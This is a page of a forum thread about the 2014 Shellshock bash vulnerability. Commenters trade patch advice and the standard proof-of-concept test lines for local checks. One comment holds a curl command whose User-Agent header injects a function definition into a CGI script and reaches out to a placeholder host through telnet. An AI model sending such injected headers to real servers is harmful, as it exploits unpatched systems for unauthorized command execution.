251–260 of 432 posts
Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install?
I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true in my case, but still.
If you are responsible for the security of any system, this is your immediate, drop-everything priority. The technical details of the exploit mean that new ways of exploiting it will be discovered soon. Precedent suggests that automated systematic attacks against every server on the Internet will be coming, on a time scale of hours.
So, as a amateur sysadmin of a decently popular side project, what should I do? I've read over the post on the mailing list, and I think I understand the basic attack, but I'm having trouble understanding exactly how an attacker could run bash on my server and what I therefore need to patch (though I suspect that's intentional). Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server?
Related to that, does anyone else know if upgrading bash will require a restart of other services kind of like upgrading openssl requires restarting things?
Maybe I'm doing something wrong, but I just tested it in ZSH (5.0.5, Linux) and the same vulnerable behavior seems to show up.
How are you testing it? If you're just pasting one of the proof-of-concept lines into zsh, such as this one: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" ...then you're really just executing bash. Replace "bash" in the line above with "zsh" and the "vulnerable" line is not printed.
Even with the "zsh", this should print "vulnerable":
env x='() { :;}; echo vulnerable' zsh -c "bash -c true"
env x='() { :;}; echo vulnerable' zsh -c "python -c 'import os; os.system(\"true\")'"This thing seriously needs to be patched asap. Update your systems now.
curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgiI'm a bit confused about how to properly patch my mac. Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install? I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true…
The good news is that as long as you're not running a local server, the vulnerability is pretty limited particularly since even if you did have SSH enabled the exploit would require valid authentication first.
Earlier quoted context omitted.
Squeeze doesn't have regular security support anymore. A subset of packages on i386 and amd64 are receiving long term security support, but you need to enable the Squeeze LTS repo: https://wiki.debian.org/LTS/Using
It has not reached the lts mirrors yet, but you can get it from http://incoming.debian.org/debian-buildd/pool/main/b/bash/
Still waiting on the i386 .deb for sid.
Your link and this link (https://security-tracker.debian.org/tracker/CVE-2014-6271) useful when considered together.
Earlier quoted context omitted.
$ x='() { :;}; echo vulnerable' bash -c 'echo test' vulnerable test $ pacman -Syu ... $ x='() { :;}; echo vulnerable' bash -c 'echo test' bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' test Benefits of using an OS with a real package manager.
Just don't turn it off after you've ran `pacman -Syu`, it will never boot again ;)
knife ssh 'name:*' 'sudo apt-get update && sudo apt-get install -y --only-upgrade bash'
Earlier quoted context omitted.
They need to pass data into a CGI script somehow.
But a shell will rarely be involved in executing a CGI, unless that CGI itself executes one. And who still uses CGI scripts? Not to say nobody will be bitten by that, but I don't think that's going to be all that widespread.